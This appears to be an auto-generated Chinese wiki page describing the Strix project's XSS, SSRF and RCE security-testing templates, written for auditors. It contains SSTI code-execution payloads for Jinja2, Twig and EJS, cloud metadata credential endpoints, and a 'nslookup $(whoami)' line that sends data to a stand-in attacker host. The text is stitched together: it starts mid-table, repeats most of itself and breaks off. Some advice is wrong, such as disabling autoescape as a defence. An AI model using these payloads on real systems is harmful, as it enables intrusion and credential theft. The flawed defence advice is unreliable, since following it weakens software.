` | 漏洞名称 | **CROSS‑SITE SCRIPTING (XSS)** | | `<critical>` | 高危描述 | 说明上下文、解析器、框架边缘的复杂性，强调 **CSP/Trusted Types** 防御（来源：`xss.jinja`） | | `<scope>` | 攻击面 | 反射、存储、DOM‑XSS；多种注入上下文（HTML、属性、URL、JS、CSS、SVG、Markdown、PDF） | | `<methodology>` | 检测步骤 | ① 标识来源 → ② 分类 sink → ③ 评估防御 → ④ 构造最小化 payload（来源：`xss.jinja`） | | `<injection_points>` | 常见注入点 | 服务器渲染、客户端 `innerHTML`、URL/DOM、事件处理、跨上下文等 | | `<context_rules>` | 编码规则 | HTML、属性、URL、JS、CSS、SVG 各自的安全转义 | | `<advanced_techniques>` | 进阶利用 | DOM‑XSS、Mutation‑XSS、模板注入、CSP 绕过、Trusted Types 利用、Polyglot payload | | `<frameworks>` | 框架特化 | React、Vue、Angular、Svelte、Markdown 渲染等 | | `<post_exploitation>` | 利用后果 | 会话/令牌窃取、WebSocket C2、持久化、内部端口扫描等 | | `<validation>` | 验证要求 | 最小 payload、跨浏览器执行、绕过防御、影响量化 | | `<false_positives>` | 误报判定 | 正确编码、强 CSP、Trusted Types、禁用 HTML 传递等 | | `<pro_tips>` | 实战技巧 | 先做上下文分类、使用 DOM instrumentation、保持 payload 小等 | > **来源**：`xss.jinja`（全文）【Sources: [xss.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/xss.jinja)】 ### 2. 检测流程 Mermaid（graph TB） ```mermaid graph TB srcUser[User Input] --> srcIdentify[Identify Sources] srcIdentify --> sinkClassify[Classify Sink Context] sinkClassify --> defAssess[Assess Defenses #40;CSP#47;TT#47;DOMPurify#41;] defAssess --> payloadBuild[Craft Minimal Payloads] payloadBuild --> testExec[Execute & Observe Effects] testExec --> result[Report Finding #47; False Positive] ``` *说明*：该流程对应 `<methodology>` 中的四步，帮助审计人员系统化地定位 XSS。 ### 3. 框架特化子图 ```mermaid graph TB subgraph React [#40;Framework#41;] reactDS[dangerouslySetInnerHTML] --> reactBypass[Unsanitized HTML] end subgraph Vue [#40;Framework#41;] vueVHtml[v-html] --> vueBypass[HTML Injection] end subgraph Angular [#40;Framework#41;] angularTrust[$sce.trustAsHtml] --> angularBypass[Expression Injection] end reactDS --> vueVHtml vueVHtml --> angularTrust ``` *说明*：展示三大前端框架常见的 XSS sink 与对应的绕过路径。 ### 4. 关键防御要点（表格） | 防御措施 | 适用上下文 | 实现要点 | |----------|------------|----------| | CSP（nonce / hash） | 所有 HTML/JS sink | 禁止 `unsafe-inline`、限制 `script-src`、禁止 `data:`、`blob:` | | Trusted Types | DOM API（`innerHTML`、`setHTML`） | 为每个 sink 注册策略，返回仅安全字符串 | | DOMPurify 严格模式 | 客户端渲染 | 禁止 `uri`、`svg`、`mathml`，白名单 `href`/`src` | | 框架自动转义 | React、Vue、Angular | 避免 `dangerouslySetInnerHTML`、`v-html`、`$sce.trustAsHtml` | | 输入过滤 | 服务器模板 | 只允许白名单字符、使用安全库（e.g., Jinja auto‑escape） | > **来源**：`xss.jinja` 中的 `<csp_bypass>`、`<trusted_types>`、`<frameworks>` 部分【Sources: [xss.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/xss.jinja)】 --- ## SSRF服务器端请求伪造模板概览 {#ssrf服务器端请求伪造模板概览} ### 1. 模板结构概览 | 区块 | 作用 | 关键要点 | |------|------|----------| | `<title>` | 漏洞名称 | **SERVER‑SIDE REQUEST FORGERY (SSRF)** | | `<critical>` | 高危描述 | SSRF 可突破网络边界，获取云元数据、内部服务、甚至 RCE（来源：`ssrf.jinja`） | | `<scope>` | 攻击面 | HTTP/HTTPS fetch、非 HTTP 协议（gopher、file、ftp、smb）、服务网格、云元数据 | | `<methodology>` | 检测步骤 | ① 标记所有 URL 参数 → ② 建立 OAST → ③ 探索内部地址/协议 → ④ 定位高价值服务 | | `<injection_surfaces>` | 注入点 | 直接 URL 参数、间接 OG/preview、PDF/图片渲染、Webhook、GraphQL 等 | | `<cloud_and_platforms>` | 云平台特化 | AWS IMDSv1/v2、GCP metadata、Azure MSI、Kubernetes kubelet/API | | `<internal_targets>` | 常见内部服务 | Docker API、Redis、Elasticsearch、FastCGI、Message brokers | | `<protocol_exploitation>` | 协议利用 | gopher、file、jar、php://、expect:// 等 | | `<parser_and_filter_bypasses>` | 绕过技巧 | 地址变形、URL 混淆、重定向、Header/Method 控制 | | `<validation>` | 验证要求 | OAST 回调、内部响应差异、最小凭证读取 | | `<false_positives>` | 误报判定 | 仅客户端 fetch、严格白名单、模拟 SSRF | | `<impact>` | 影响 | 云凭证泄露、内部面板访问、RCE（via FastCGI/Redis） | | `<pro_tips>` | 实战技巧 | OAST 优先、IPv6/混合记法、库差异、重定向链利用 | > **来源**：`ssrf.jinja`（全文）【Sources: [ssrf.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/ssrf.jinja)】 ### 2. SSRF 检测流程 Mermaid（graph TB） ```mermaid graph TB srcParam[User‑Controlled URL] --> srcCollect[Collect All URL‑related Params] srcCollect --> oastSetup[Setup OAST Callback] oastSetup --> testInternal[Probe Internal Addresses & Protocols] testInternal --> redirectCheck[Check Redirect Behavior] redirectCheck --> resultEval[Evaluate Access #40;metadata, services, RCE#41;] resultEval --> report[Generate Report #47; False Positive] ``` *说明*：对应 `<methodology>` 中的四步，强调 **OAST** 为首要验证手段。 ### 3. 云元数据访问子图（graph TB） ```mermaid graph TB subgraph AWS [#40;Metadata#41;] awsIMDSv1[http:#47;#47;169.254.169.254#47;latest#47;meta-data#47;] --> awsCreds[#47;iam#47;security-credentials#47;role#47;] awsIMDSv2[http:#47;#47;169.254.169.254#47;latest#47;api#47;token] --> tokenHeader[PUT token] tokenHeader --> awsCreds end subgraph GCP [#40;Metadata#41;] gcpMeta[http:#47;#47;metadata.google.internal#47;computeMetadata#47;v1#47;] --> gcpHeader[Metadata-Flavor: Google] gcpHeader --> gcpToken[#47;instance#47;service-accounts#47;default#47;token#47;] end subgraph Azure [#40;Metadata#41;] azureMeta[http:#47;#47;169.254.169.254#47;metadata#47;instance] --> azureHeader[Metadata: true] azureHeader --> azureMSI[#47;metadata#47;identity#47;oauth2#47;token#47;] end awsCreds --> gcpMeta gcpToken --> azureMeta ``` *说明*：展示三大云平台的元数据入口及所需的特殊 Header/Token，帮助审计人员快速定位 SSRF 目标。 ### 4. 常见内部服务子图（graph TB） ```mermaid graph TB dockerAPI[http:#47;#47;localhost:2375#47;v1.24#47;containers#47;json] --> dockerImpact[Docker Remote Exec] redisGopher[gopher:#47;#47;localhost:6379#47;_PING] --> redisImpact[Redis Command Injection] esAPI[http:#47;#47;localhost:9200#47;_cat#47;indices] --> esImpact[Elasticsearch Info Leak] fastcgi[gopher:#47;#47;localhost:9000#47;FCGI] --> fcgiImpact[FastCGI File Write] ``` *说明*：每个内部目标对应的潜在后果（RCE、信息泄露等），对应 `<internal_targets>` 与 `<protocol_exploitation>`。 ### 5. 防御要点（表格） | 防御措施 | 适用场景 | 实现要点 | |----------|----------|----------| | 目标白名单（仅外部域） | 所有 URL 参数 | 解析后校验 `scheme`、`host`、`IP`，拒绝 `127.0.0.0/8`、`169.254.0.0/16` | | 禁止重定向链 | HTTP fetch | 限制 `followRedirects`，或仅允许同源重定向 | | 严格 Header 控制 | IMDSv2、GCP、Azure | 不允许用户自定义 `Authorization`、`X-Forwarded-*` | | 协议过滤 | gopher、file、smb | 在应用层过滤非 HTTP/HTTPS 协议 | | 网络分段 & Egress 防火墙 | 云环境 | 阻断容器/实例对元数据 IP 的直接访问 | | 监控 OAST 回调 | SSRF 检测 | 记录异常外部请求，触发告警 | > **来源**：`ssrf.jinja` 中的 `<cloud_and_platforms>`、`<internal_targets>`、`<parser_and_filter_bypasses>` 等章节【Sources: [ssrf.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/ssrf.jinja)】 --- ## RCE远程代码执行模板概览 {#rce远程代码执行模板概览} ### 1. 模板结构概览 | 区块 | 作用 | 关键要点 | |------|------|----------| | `<title>` | 漏洞名称 | **REMOTE CODE EXECUTION (RCE)** | | `<critical>` | 高危描述 | RCE 通过 OS 命令、模板、反序列化、媒体管线等实现完整控制 | | `<scope>` | 攻击面 | OS 命令、动态评估、反序列化、媒体工具、SSRF→内部服务、容器/K8s | | `<methodology>` | 检测步骤 | ① 标记 sink → ② 建立 OAST/Timing Oracle → ③ 确认执行环境 → ④ 持久化/横向移动 | | `<detection_channels>` | 探测方式 | 时间延迟、DNS/HTTP OAST、输出差异 | | `<command_injection>` | 命令注入细节 | 分隔符、参数注入、路径/内置混淆、逃逸技巧 | | `<template_injection>` | SSTI 细节 | Jinja2、Twig、Freemarker、EJS 等模板引擎的代码执行路径 | | `<deserialization_and_el>` | 反序列化 | Java、.NET、PHP、Python/Ruby 的 gadget 链 | | `<media_and_document_pipelines>` | 媒体工具 | ImageMagick、Ghostscript、ExifTool、LaTeX、ffmpeg | | `<ssrf_to_rce>` | SSRF → RCE 链 | FastCGI、Redis、内部管理面板 | | `<container_and_kubernetes>` | 容器/K8s 影响 | Docker socket、/proc/1/cgroup、Kubelet API、service‑account token | | `<post_exploitation>` | 后渗透 | 提权、持久化、横向移动 | | `<validation>` | 验证要求 | OAST/Timing、环境信息、持久化证明 | | `<false_positives>` | 误报判定 | 仅超时、受限命令、沙箱无 I/O | | `<impact>` | 影响 | 完全系统控制、凭证泄露、供应链注入 | | `<pro_tips>` | 实战技巧 | 首选 OAST、利用媒体工具、快速定位 gadget、检查容器能力 | > **来源**：`rce.jinja`（全文）【Sources: [rce.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/rce.jinja)】 ### 2. RCE 检测流程 Mermaid（graph TB） ```mermaid graph TB sinkDetect[Identify Code Execution Sinks] --> oracleSetup[Setup OAST #47; Timing Oracle] oracleSetup --> execTest[Trigger Minimal Payload] execTest --> envInfo[Collect Env Info #40;uid, cwd, caps#41;] envInfo --> persistence[Attempt Persistence #40;file write, cron#41;] persistence --> lateral[Pivot #40;Docker#47;K8s, internal services#41;] lateral --> report[Document Findings #47; False Positive] ``` *说明*：对应 `<methodology>` 与 `<post_exploitation>` 的完整渗透链。 ### 3. 模板注入（SSTI）子图 ```mermaid graph TB subgraph Jinja2 [#40;SSTI#41;] jinjaExpr[#123;#123;7*7#125;#125;] --> jinjaExploit[#123;#123;cycler.__init__.__globals__#91;os#93;.popen#40;id#41;.read#40;#41;#125;#125;] end subgraph Twig [#40;SSTI#41;] twigExpr[#123;#123;7*7#125;#125;] --> twigExploit[#123;#123;_self.env.registerUndefinedFilterCallback#40;system#41;#125;#125;#123;#123;_self.env.getFilter#40;id#41;#125;#125;] end subgraph EJS [#40;SSTI#41;] ejsExpr[#60;%= global.process.mainModule.require#40;child_process#41;.execSync#40;id#41; %#62;] --> ejsExploit[Exec via Node] end jinjaExploit --> twigExploit twigExploit --> ejsExploit ``` *说明*：展示三大常见模板引擎的 **表达式 → 代码执行** 路径，来源于 `<template_injection>`。 ### 4. 媒体工具利用子图（graph TB） ```mermaid graph TB imgMagick[ImageMagick] --> imgPayload[policy.xml 绕过 + URL payload] imgPayload --> imgExec[执行系统命令] ghostscript[Ghostscript] --> gsPayload[PostScript #47; PDF 注入] gsPayload --> gsExec[执行系统命令] exifTool[ExifTool] --> exifPayload[元数据触发外部程序] exifPayload --> exifExec[执行系统命令] ``` *说明*：对应 `<media_and_document_pipelines>` 中的示例。 ### 5. 容器 & K8s 影响子图（graph TB） ```mermaid graph TB dockerSock[#47;var#47;run#47;docker.sock] --> dockerCmd[Docker Remote API] dockerCmd --> hostEsc[写入 #47;host#47;... → 逃逸] kubeToken[#47;var#47;run#47;secrets#47;kubernetes.io#47;serviceaccount#47;token] --> kubeAPI[访问 Kubelet #47; API] kubeAPI --> podExec[执行 pod exec #47; 创建 privileged pod] ``` *说明*：展示从 **RCE** 到 **容器/集群** 的横向提升路径，来源于 `<container_and_kubernetes>`。 ### 6. 防御要点（表格） | 防御措施 | 适用场景 | 实现要点 | |----------|----------|----------| | 输入白名单 + 参数化 | OS 命令、CLI | 禁止直接拼接用户输入，使用 `subprocess.run([...])` | | 模板引擎安全配置 | Jinja2、Twig、EJS | 禁用 `autoescape`、关闭 `eval`、使用沙箱环境 | | 反序列化白名单 | Java、.NET、PHP | 只接受可信类，禁用 `ObjectInputStream`、`BinaryFormatter` | | 媒体工具安全策略 | ImageMagick、Ghostscript | `policy.xml` 限制 `delegate`、`coder`，禁用 `shell` | | Docker/K8s 权限最小化 | 容器化部署 | 移除 `docker.sock`、`/var/run/docker.sock`，使用 `ReadOnlyRootFilesystem`，限制 ServiceAccount 权限 | | 运行时沙箱 (AppArmor/SELinux) | 所有执行点 | 限制文件系统访问、网络、进程创建 | | 监控 OAST 与异常系统调用 | RCE 探测 | 实时告警异常 DNS/HTTP 回调、系统调用审计 | > **来源**：`rce.jinja` 中的 `<command_injection>`、`<template_injection>`、`<media_and_document_pipelines>`、`<container_and_kubernetes>` 等章节【Sources: [rce.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/rce.jinja)】 --- ## 通用验证与误报判定 {#通用验证与误报判定} | 验证维度 | 推荐方法 | 示例 | |----------|----------|------| | **Out‑of‑Band** | OAST DNS/HTTP 回调 | `nslookup $(whoami).x.attacker.tld`（RCE） | | **Timing** | 延时检测（`sleep 1`） | `;sleep#40;#41;1#59;`（XSS/SSRF） | | **输出差异** | 响应体长度、ETag、状态码 | 对比 `200` 与 `404` | | **环境信息** | `id`、`whoami`、`env` | 直接回显系统用户 | | **持久化** | 文件写入、Cron、Systemd | `echo "payload" > /tmp/poc.sh` | | **误报排除** | 检查 CSP/Trusted Types、严格编码、白名单 | 若页面含 `nonce-` 且无 inline 脚本，则 XSS 为误报 | > 以上验证要点分别摘自 XSS、SSRF、RCE 模板的 `<validation>` 与 `<false_positives>` 部分【Sources: [xss.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/xss.jinja)、[ssrf.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/ssrf.jinja)、[rce.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/rce.jinja)】。 --- ## 常用术语表 {#常用术语表} | 术语 | 含义 | |------|------| | **OAST** | Out‑of‑Band Application Security Testing，利用外部 DNS/HTTP 回调验证漏洞 | | **CSP** | Content Security Policy，浏览器端防止脚本执行的策略 | | **Trusted Types** | 浏览器 API，限制 DOM XSS 的字符串来源 | | **SSTI** | Server‑Side Template Injection，模板引擎代码执行 | | **Gadget Chain** | 通过序列化对象触发的链式代码执行 | | **Metadata Service** | 云平台提供的实例元数据接口（如 AWS IMDS） | | **gopher** | 一种原始 TCP 协议，可用于协议层渗透 | | **FastCGI** | 高性能 CGI 接口，常被 SSRF 利用写文件或执行命令 | | **Docker Socket** | `/var/run/docker.sock`，若暴露可直接控制宿主 Docker 引擎 | | **ServiceAccount Token** | Kubernetes 中的 pod 访问凭证，常被 SSRF/RCE 窃取 | --- ## 结论 Strix 的漏洞模板通过 **结构化的 Jinja 文档**，为 XSS、SSRF 与 RCE 三大攻击面提供了完整的 **危害描述、攻击范围、渗透方法、验证手段与防御建议**。结合 **Mermaid 流程图** 与 **表格**，使用者可以快速定位关键 sink、构造最小化 payload，并在实际审计或自动化扫描中复用这些模板。项目的 **贡献指南**（`CONTRIBUTING.md`）鼓励社区持续完善模板，确保在新技术栈或云平台出现时能够及时补充对应的检测与防御逻辑。 ---</article></body></html>

Relevant source files

The following files were used as context for generating this wiki page: - [strix/prompts/vulnerabilities/xss.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/xss.jinja) - [strix/prompts/vulnerabilities/ssrf.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/ssrf.jinja) - [strix/prompts/vulnerabilities/rce.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/rce.jinja) - [.gitignore](https://github.com/usestrix/strix/blob/main/.gitignore) - [CONTRIBUTING.md](https://github.com/usestrix/strix/blob/main/CONTRIBUTING.md)

# 漏洞模板概览本页汇总了 **Strix** 项目中针对三类核心安全风险（**XSS、SSRF、RCE**）提供的 Prompt 模板结构、检测思路、关键要素以及防御建议。每个模板均以 **Jinja** 形式组织，包含标题、危害概述、攻击范围、渗透方法、验证手段、误报判定与实战技巧，供安全研究员、审计工具以及自动化代理快速复用。 > 相关文档可在项目的 **Prompt 模块** 章节中进一步查阅（如 `strix/prompts/README.md`），本页仅聚焦模板本身的技术细节。 --- ## 目录 1. [XSS（跨站脚本）模板概览](#xss跨站脚本模板概览) 2. [SSRF（服务器端请求伪造）模板概览](#ssrf服务器端请求伪造模板概览) 3. [RCE（远程代码执行）模板概览](#rce远程代码执行模板概览) 4. [通用验证与误报判定](#通用验证与误报判定) 5. [常用术语表](#常用术语表) --- ## XSS跨站脚本模板概览 {#xss跨站脚本模板概览} ### 1. 模板结构概览 | 区块 | 作用 | 关键要点 | |------|------|----------| | `` | 漏洞名称 | **CROSS‑SITE SCRIPTING (XSS)** | | `<critical>` | 高危描述 | 说明上下文、解析器、框架边缘的复杂性，强调 **CSP/Trusted Types** 防御（来源：`xss.jinja`） | | `<scope>` | 攻击面 | 反射、存储、DOM‑XSS；多种注入上下文（HTML、属性、URL、JS、CSS、SVG、Markdown、PDF） | | `<methodology>` | 检测步骤 | ① 标识来源 → ② 分类 sink → ③ 评估防御 → ④ 构造最小化 payload（来源：`xss.jinja`） | | `<injection_points>` | 常见注入点 | 服务器渲染、客户端 `innerHTML`、URL/DOM、事件处理、跨上下文等 | | `<context_rules>` | 编码规则 | HTML、属性、URL、JS、CSS、SVG 各自的安全转义 | | `<advanced_techniques>` | 进阶利用 | DOM‑XSS、Mutation‑XSS、模板注入、CSP 绕过、Trusted Types 利用、Polyglot payload | | `<frameworks>` | 框架特化 | React、Vue、Angular、Svelte、Markdown 渲染等 | | `<post_exploitation>` | 利用后果 | 会话/令牌窃取、WebSocket C2、持久化、内部端口扫描等 | | `<validation>` | 验证要求 | 最小 payload、跨浏览器执行、绕过防御、影响量化 | | `<false_positives>` | 误报判定 | 正确编码、强 CSP、Trusted Types、禁用 HTML 传递等 | | `<pro_tips>` | 实战技巧 | 先做上下文分类、使用 DOM instrumentation、保持 payload 小等 | > **来源**：`xss.jinja`（全文）【Sources: [xss.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/xss.jinja)】 ### 2. 检测流程 Mermaid（graph TB） ```mermaid graph TB srcUser[User Input] --> srcIdentify[Identify Sources] srcIdentify --> sinkClassify[Classify Sink Context] sinkClassify --> defAssess[Assess Defenses #40;CSP#47;TT#47;DOMPurify#41;] defAssess --> payloadBuild[Craft Minimal Payloads] payloadBuild --> testExec[Execute & Observe Effects] testExec --> result[Report Finding #47; False Positive] ``` *说明*：该流程对应 `<methodology>` 中的四步，帮助审计人员系统化地定位 XSS。 ### 3. 框架特化子图 ```mermaid graph TB subgraph React [#40;Framework#41;] reactDS[dangerouslySetInnerHTML] --> reactBypass[Unsanitized HTML] end subgraph Vue [#40;Framework#41;] vueVHtml[v-html] --> vueBypass[HTML Injection] end subgraph Angular [#40;Framework#41;] angularTrust[$sce.trustAsHtml] --> angularBypass[Expression Injection] end reactDS --> vueVHtml vueVHtml --> angularTrust ``` *说明*：展示三大前端框架常见的 XSS sink 与对应的绕过路径。 ### 4. 关键防御要点（表格） | 防御措施 | 适用上下文 | 实现要点 | |----------|------------|----------| | CSP（nonce / hash） | 所有 HTML/JS sink | 禁止 `unsafe-inline`、限制 `script-src`、禁止 `data:`、`blob:` | | Trusted Types | DOM API（`innerHTML`、`setHTML`） | 为每个 sink 注册策略，返回仅安全字符串 | | DOMPurify 严格模式 | 客户端渲染 | 禁止 `uri`、`svg`、`mathml`，白名单 `href`/`src` | | 框架自动转义 | React、Vue、Angular | 避免 `dangerouslySetInnerHTML`、`v-html`、`$sce.trustAsHtml` | | 输入过滤 | 服务器模板 | 只允许白名单字符、使用安全库（e.g., Jinja auto‑escape） | > **来源**：`xss.jinja` 中的 `<csp_bypass>`、`<trusted_types>`、`<frameworks>` 部分【Sources: [xss.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/xss.jinja)】 --- ## SSRF服务器端请求伪造模板概览 {#ssrf服务器端请求伪造模板概览} ### 1. 模板结构概览 | 区块 | 作用 | 关键要点 | |------|------|----------| | `<title>` | 漏洞名称 | **SERVER‑SIDE REQUEST FORGERY (SSRF)** | | `<critical>` | 高危描述 | SSRF 可突破网络边界，获取云元数据、内部服务、甚至 RCE（来源：`ssrf.jinja`） | | `<scope>` | 攻击面 | HTTP/HTTPS fetch、非 HTTP 协议（gopher、file、ftp、smb）、服务网格、云元数据 | | `<methodology>` | 检测步骤 | ① 标记所有 URL 参数 → ② 建立 OAST → ③ 探索内部地址/协议 → ④ 定位高价值服务 | | `<injection_surfaces>` | 注入点 | 直接 URL 参数、间接 OG/preview、PDF/图片渲染、Webhook、GraphQL 等 | | `<cloud_and_platforms>` | 云平台特化 | AWS IMDSv1/v2、GCP metadata、Azure MSI、Kubernetes kubelet/API | | `<internal_targets>` | 常见内部服务 | Docker API、Redis、Elasticsearch、FastCGI、Message brokers | | `<protocol_exploitation>` | 协议利用 | gopher、file、jar、php://、expect:// 等 | | `<parser_and_filter_bypasses>` | 绕过技巧 | 地址变形、URL 混淆、重定向、Header/Method 控制 | | `<validation>` | 验证要求 | OAST 回调、内部响应差异、最小凭证读取 | | `<false_positives>` | 误报判定 | 仅客户端 fetch、严格白名单、模拟 SSRF | | `<impact>` | 影响 | 云凭证泄露、内部面板访问、RCE（via FastCGI/Redis） | | `<pro_tips>` | 实战技巧 | OAST 优先、IPv6/混合记法、库差异、重定向链利用 | > **来源**：`ssrf.jinja`（全文）【Sources: [ssrf.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/ssrf.jinja)】 ### 2. SSRF 检测流程 Mermaid（graph TB） ```mermaid graph TB srcParam[User‑Controlled URL] --> srcCollect[Collect All URL‑related Params] srcCollect --> oastSetup[Setup OAST Callback] oastSetup --> testInternal[Probe Internal Addresses & Protocols] testInternal --> redirectCheck[Check Redirect Behavior] redirectCheck --> resultEval[Evaluate Access #40;metadata, services, RCE#41;] resultEval --> report[Generate Report #47; False Positive] ``` *说明*：对应 `<methodology>` 中的四步，强调 **OAST** 为首要验证手段。 ### 3. 云元数据访问子图（graph TB） ```mermaid graph TB subgraph AWS [#40;Metadata#41;] awsIMDSv1[http:#47;#47;169.254.169.254#47;latest#47;meta-data#47;] --> awsCreds[#47;iam#47;security-credentials#47;role#47;] awsIMDSv2[http:#47;#47;169.254.169.254#47;latest#47;api#47;token] --> tokenHeader[PUT token] tokenHeader --> awsCreds end subgraph GCP [#40;Metadata#41;] gcpMeta[http:#47;#47;metadata.google.internal#47;computeMetadata#47;v1#47;] --> gcpHeader[Metadata-Flavor: Google] gcpHeader --> gcpToken[#47;instance#47;service-accounts#47;default#47;token#47;] end subgraph Azure [#40;Metadata#41;] azureMeta[http:#47;#47;169.254.169.254#47;metadata#47;instance] --> azureHeader[Metadata: true] azureHeader --> azureMSI[#47;metadata#47;identity#47;oauth2#47;token#47;] end awsCreds --> gcpMeta gcpToken --> azureMeta ``` *说明*：展示三大云平台的元数据入口及所需的特殊 Header/Token，帮助审计人员快速定位 SSRF 目标。 ### 4. 常见内部服务子图（graph TB） ```mermaid graph TB dockerAPI[http:#47;#47;localhost:2375#47;v1.24#47;containers#47;json] --> dockerImpact[Docker Remote Exec] redisGopher[gopher:#47;#47;localhost:6379#47;_PING] --> redisImpact[Redis Command Injection] esAPI[http:#47;#47;localhost:9200#47;_cat#47;indices] --> esImpact[Elasticsearch Info Leak] fastcgi[gopher:#47;#47;localhost:9000#47;FCGI] --> fcgiImpact[FastCGI File Write] ``` *说明*：每个内部目标对应的潜在后果（RCE、信息泄露等），对应 `<internal_targets>` 与 `<protocol_exploitation>`。 ### 5. 防御要点（表格） | 防御措施 | 适用场景 | 实现要点 | |----------|----------|----------| | 目标白名单（仅外部域） | 所有 URL 参数 | 解析后校验 `scheme`、`host`、`IP`，拒绝 `127.0.0.0/8`、`169.254.0.0/16` | | 禁止重定向链 | HTTP fetch | 限制 `followRedirects`，或仅允许同源重定向 | | 严格 Header 控制 | IMDSv2、GCP、Azure | 不允许用户自定义 `Authorization`、`X-Forwarded-*` | | 协议过滤 | gopher、file、smb | 在应用层过滤非 HTTP/HTTPS 协议 | | 网络分段 & Egress 防火墙 | 云环境 | 阻断容器/实例对元数据 IP 的直接访问 | | 监控 OAST 回调 | SSRF 检测 | 记录异常外部请求，触发告警 | > **来源**：`ssrf.jinja` 中的 `<cloud_and_platforms>`、`<internal_targets>`、`<parser_and_filter_bypasses>` 等章节【Sources: [ssrf.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/ssrf.jinja)】 --- ## RCE远程代码执行模板概览 {#rce远程代码执行模板概览} ### 1. 模板结构概览 | 区块 | 作用 | 关键要点 | |------|------|----------| | `<title>` | 漏洞名称 | **REMOTE CODE EXECUTION (RCE)** | | `<critical>` | 高危描述 | RCE 通过 OS 命令、模板、反序列化、媒体管线等实现完整控制 | | `<scope>` | 攻击面 | OS 命令、动态评估、反序列化、媒体工具、SSRF→内部服务、容器/K8s | | `<methodology>` | 检测步骤 | ① 标记 sink → ② 建立 OAST/Timing Oracle → ③ 确认执行环境 → ④ 持久化/横向移动 | | `<detection_channels>` | 探测方式 | 时间延迟、DNS/HTTP OAST、输出差异 | | `<command_injection>` | 命令注入细节 | 分隔符、参数注入、路径/内置混淆、逃逸技巧 | | `<template_injection>` | SSTI 细节 | Jinja2、Twig、Freemarker、EJS 等模板引擎的代码执行路径 | | `<deserialization_and_el>` | 反序列化 | Java、.NET、PHP、Python/Ruby 的 gadget 链 | | `<media_and_document_pipelines>` | 媒体工具 | ImageMagick、Ghostscript、ExifTool、LaTeX、ffmpeg | | `<ssrf_to_rce>` | SSRF → RCE 链 | FastCGI、Redis、内部管理面板 | | `<container_and_kubernetes>` | 容器/K8s 影响 | Docker socket、/proc/1/cgroup、Kubelet API、service‑account token | | `<post_exploitation>` | 后渗透 | 提权、持久化、横向移动 | | `<validation>` | 验证要求 | OAST/Timing、环境信息、持久化证明 | | `<false_positives>` | 误报判定 | 仅超时、受限命令、沙箱无 I/O | | `<impact>` | 影响 | 完全系统控制、凭证泄露、供应链注入 | | `<pro_tips>` | 实战技巧 | 首选 OAST、利用媒体工具、快速定位 gadget、检查容器能力 | > **来源**：`rce.jinja`（全文）【Sources: [rce.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/rce.jinja)】 ### 2. RCE 检测流程 Mermaid（graph TB） ```mermaid graph TB sinkDetect[Identify Code Execution Sinks] --> oracleSetup[Setup OAST #47; Timing Oracle] oracleSetup --> execTest[Trigger Minimal Payload] execTest --> envInfo[Collect Env Info #40;uid, cwd, caps#41;] envInfo --> persistence[Attempt Persistence #40;file write, cron#41;] persistence --> lateral[Pivot #40;Docker#47;K8s, internal services#41;] lateral --> report[Document Findings #47; False Positive] ``` *说明*：对应 `<methodology>` 与 `<post_exploitation>` 的完整渗透链。 ### 3. 模板注入（SSTI）子图 ```mermaid graph TB subgraph Jinja2 [#40;SSTI#41;] jinjaExpr[#123;#123;7*7#125;#125;] --> jinjaExploit[#123;#123;cycler.__init__.__globals__#91;os#93;.popen#40;id#41;.read#40;#41;#125;#125;] end subgraph Twig [#40;SSTI#41;] twigExpr[#123;#123;7*7#125;#125;] --> twigExploit[#123;#123;_self.env.registerUndefinedFilterCallback#40;system#41;#125;#125;#123;#123;_self.env.getFilter#40;id#41;#125;#125;] end subgraph EJS [#40;SSTI#41;] ejsExpr[#60;%= global.process.mainModule.require#40;child_process#41;.execSync#40;id#41; %#62;] --> ejsExploit[Exec via Node] end jinjaExploit --> twigExploit twigExploit --> ejsExploit ``` *说明*：展示三大常见模板引擎的 **表达式 → 代码执行** 路径，来源于 `<template_injection>`。 ### 4. 媒体工具利用子图（graph TB） ```mermaid graph TB imgMagick[ImageMagick] --> imgPayload[policy.xml 绕过 + URL payload] imgPayload --> imgExec[执行系统命令] ghostscript[Ghostscript] --> gsPayload[PostScript #47; PDF 注入] gsPayload --> gsExec[执行系统命令] exifTool[ExifTool] --> exifPayload[元数据触发外部程序] exifPayload --> exifExec[执行系统命令] ``` *说明*：对应 `<media_and_document_pipelines>` 中的示例。 ### 5. 容器 & K8s 影响子图（graph TB） ```mermaid graph TB dockerSock[#47;var#47;run#47;docker.sock] --> dockerCmd[Docker Remote API] dockerCmd --> hostEsc[写入 #47;host#47;... → 逃逸] kubeToken[#47;var#47;run#47;secrets#47;kubernetes.io#47;serviceaccount#47;token] --> kubeAPI[访问 Kubelet #47; API] kubeAPI --> podExec[执行 pod exec #47; 创建 privileged pod] ``` *说明*：展示从 **RCE** 到 **容器/集群** 的横向提升路径，来源于 `<container_and_kubernetes>`。 ### 6. 防御要点（表格） | 防御措施 | 适用场景 | 实现要点 | |----------|----------|----------| | 输入白名单 + 参数化 | OS 命令、CLI | 禁止直接拼接用户输入，使用 `subprocess.run([...])` | | 模板引擎安全配置 | Jinja2、Twig、EJS | 禁用 `autoescape`、关闭 `eval`、使用沙箱环境 | | 反序列化白名单 | Java、.NET、PHP | 只接受可信类，禁用 `ObjectInputStream`、`BinaryFormatter` | | 媒体工具安全策略 | ImageMagick、Ghostscript | `policy.xml` 限制 `delegate`、`coder`，禁用 `shell` | | Docker/K8s 权限最小化 | 容器化部署 | 移除 